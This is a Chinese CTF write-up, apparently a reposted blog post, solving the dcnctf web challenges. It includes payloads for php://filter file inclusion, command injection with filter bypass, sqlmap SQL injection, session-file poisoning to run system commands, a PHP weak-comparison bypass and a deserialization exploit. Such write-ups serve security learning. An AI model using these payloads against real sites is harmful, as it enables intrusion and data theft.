dcnctf-web-wp(部分)

web1(爆破)

在这里插入图片描述
在这里插入图片描述
乱点一番后,发现无法注册、万能密码没用
登陆失败显示如下
在这里插入图片描述

在这里插入图片描述
提示用户名和密码就很烦,密码简单?直接bp用Cluster bomb爆吧
在这里插入图片描述
刚开始以为下面的就是flag…太年轻了
在这里插入图片描述
flag最后在
在这里插入图片描述


web2(php伪协议)

在这里插入图片描述
在这里插入图片描述
猜想是文件包含,使用php伪协议获取flag.php源码
payload:

http://dcnctf.com:1040/?page=php://filter/read=convert.base64-encode/resource=flag.php

得到base64加密的内容后解密即为flag

base64加密内容:PD9waHANCi8vRENOe0luY2x1ZGVfRmxhZ19TdWNjZXNzfQ0KPz4=
解密:
<?php
//DCN{Include_Flag_Success}
?>

web3(user-agent和x-forwarded-for)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


web4(命令执行)

在这里插入图片描述
在这里插入图片描述
这题和DVWA的命令执行差不多,经过测试发现它还过滤的不少,测试后原来和dvwa的high级别差不多,使用||空格绕过
最后获取flag时,cat被过滤了,more也被过滤了,最后用的less
在这里插入图片描述


web5(sql注入)

在这里插入图片描述
在这里插入图片描述
一开始以为是爆破这个id…结果不是,最后用sqlmap跑出来的
在这里插入图片描述
payload:

sqlmap -u "http://dcnctf.com:1043/?gid=1&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" -D pentesterlab -T flag --dump

web6(session文件包含)

在这里插入图片描述
在这里插入图片描述
session?来看看
在这里插入图片描述
原来我们通过dcn写入的内容会保存在session文件中
再来研究下源码

<?php

$filename=$_GET['filename'];
include($filename);
session_start();
$dcn=$_GET['dcn'];
$_SESSION["username"]=$dcn;
highlight_file("index.php");

?>

利用变量dcn写入一句话到session中,然后使用filename包含利用我们的session文件
前提先记得我们的PHPSESSID,我是u6ttu7suv6mca5nnu04satee40,所以我以后直接在session目录中搜索我的id即可
比如写入一个<?php system('whoami');?>,(当然,你也可以写个一句话利用),这里我对payload进行了url编码,因为不编码,最后session文件中只有<?php,如果不想编码,直接使用浏览器url提交即可
在这里插入图片描述

在这里插入图片描述
查看我们的session文件中是否已经写入

在这里插入图片描述
利用
在这里插入图片描述

注意:这个session用过一次后就会自动清除内容为默认值:username|N;,所以每使用一次命令后,就要重新向session文件中写内容,再执行

ls只看到index.php和session,而且cat还不能用,虽然可以php://filter,但没意义,其实我是在别人的session中看到有.flag.php这个文件…我用find / -name flag都没找到,用find / -name *flag*才找到…浏览器看有点乱,推荐bp
在这里插入图片描述
可以看看相关文章:https://www.cnblogs.com/Oran9e/p/8082962.html 等等

扫描二维码关注公众号,回复: 10456748 查看本文章

web7(认为环境有问题)

在这里插入图片描述
是个文件上传,上传返回路径后,文件不能访问,返回500,没办法了…
在这里插入图片描述
在这里插入图片描述


web8(认为环境有问题)

在这里插入图片描述
时间确实够长的,打不开…

web9没有这道题…

web10没有这道题…


web11(php伪随机数)

在这里插入图片描述
在这里插入图片描述
这让我想到了I春秋的那道伪随机数,其实没他那么难,点击Submit就是flag,我…真…的…
在这里插入图片描述


web12(php弱类型比较)

在这里插入图片描述

3C3F7068700A0A6572726F725F7265706F7274696E672830293B0A66756E6374696F6E206E6F6F746865725F736179735F636F7272656374282474656D70290A7B0A2020202024666C6167203D2027666C61677B2E2E2E2E2E2E2E2E2E2E2E2E7D273B0A20202020246F6E65203D206F726428273127293B20200A20202020246E696E65203D206F726428273927293B200A20202020246E756D626572203D202733373335393239303534273B0A20202020666F7220282469203D20303B202469203C207374726C656E28246E756D626572293B2024692B2B290A202020207B200A2020202020202020246469676974203D206F7264282474656D707B24697D293B0A2020202020202020696620282028246469676974203E3D20246F6E65292026262028246469676974203C3D20246E696E652920290A20202020202020207B0A20202020202020202020202072657475726E2022666C617365223B0A20202020202020207D0A202020207D0A20202020696628246E756D626572203D3D202474656D70290A202020202020202072657475726E2024666C61673B0A7D0A2474656D70203D20245F4745545B2770617373776F7264275D3B0A6563686F206E6F6F746865725F736179735F636F7272656374282474656D70293B0A3F3E

ASCII Hex解码:

<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{............}';
    $one = ord('1');  //49注:这里要是用php的ord,不要使用其它,否则数字不对
    $nine = ord('9'); //57
    $number = '3735929054';
    for ($i = 0; $i < strlen($number); $i++)//for ($i = 0; $i < 10; $i++)
    { 
        $digit = ord($temp{$i});//$temp{$i}表示将$temp的内容看做数组,$i为键值,如$temp{0},为3,$temp{0}为7等...
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            return "flase";//千万不能执行这个return,因为这是在一个函数中,执行return会立刻终止当前函数的代码,继续执行函数外的代码
        }
    }
    if($number == $temp)//3735929054==$temp才能返回flag
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

这是php弱类型比较,可以将3735929054进行16进制转换来绕过,转换成0xdeadc0de来绕过
可以参考:https://www.cnblogs.com/anbus/p/10000571.html


web13(client-ip)

在这里插入图片描述
在这里插入图片描述
点击后返回
在这里插入图片描述
查看源码发现4.3.2.1这个ip,搞一搞
在这里插入图片描述
在这里插入图片描述

web14没有这道题…


web15(php反序列化)

在这里插入图片描述
在这里插入图片描述
我网卡?反正是个图片,下载了看看
在这里插入图片描述
记事本打开看到最后有ym.txt,一时间我以为是隐写…结果没搞得出来
最后想到会不会在网站中,果然!
在这里插入图片描述
是一道反序列化的题目,这是CG-CTF的题(可以参考https://www.cnblogs.com/nul1/p/9417484.html),直接上payload

<?php
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun);
?>

结果放到ym.txt后面还用不起来,也对啊,这是txt后缀,那把他删了,还是不行,最后找来找去终于在刚进入那个页面的源码中找到了dcnctf.php,一开始没在意,害…
好了,最后的payload:
在这里插入图片描述

这就当做完了吧(没环境的我可不背锅,haha),还挺累的,有些知识之前没见过,也有些也差点忘了,总之,收获还是有的。

发布了148 篇原创文章 · 获赞 61 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/105116032